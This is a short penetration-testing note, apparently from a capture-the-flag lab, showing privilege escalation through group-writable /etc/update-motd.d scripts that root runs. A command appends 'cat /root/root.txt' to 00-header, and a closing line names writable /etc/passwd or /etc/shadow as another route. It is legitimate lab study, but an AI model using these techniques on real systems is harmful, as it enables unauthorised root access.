Bad Permissions - writable files
2020/03/15 09:27:45 CMD: UID=0 PID=10959 | run-parts --lsbsysinit /etc/update-motd.d
webadmin@traceback:/etc/update-motd.d$ ls -la
ls -la
total 32
drwxr-xr-x 2 root sysadmin 4096 Aug 27 2019 .
drwxr-xr-x 80 root root 4096 Mar 16 03:55 ..
-rwxrwxr-x 1 root sysadmin 981 Jul 29 00:30 00-header
-rwxrwxr-x 1 root sysadmin 982 Jul 29 00:30 10-help-text
-rwxrwxr-x 1 root sysadmin 4264 Jul 29 00:30 50-motd-news
-rwxrwxr-x 1 root sysadmin 604 Jul 29 00:30 80-esm
-rwxrwxr-x 1 root sysadmin 299 Jul 29 00:30 91-release-upgrade
# rWx
sysadmin@traceback:/etc/update-motd.d$ echo "cat /root/root.txt" >> 00-header
echo "cat /root/root.txt" >> 00-header
sysadmin@traceback:/etc/update-motd.d$
/etc/passwd or /etc/shadow writable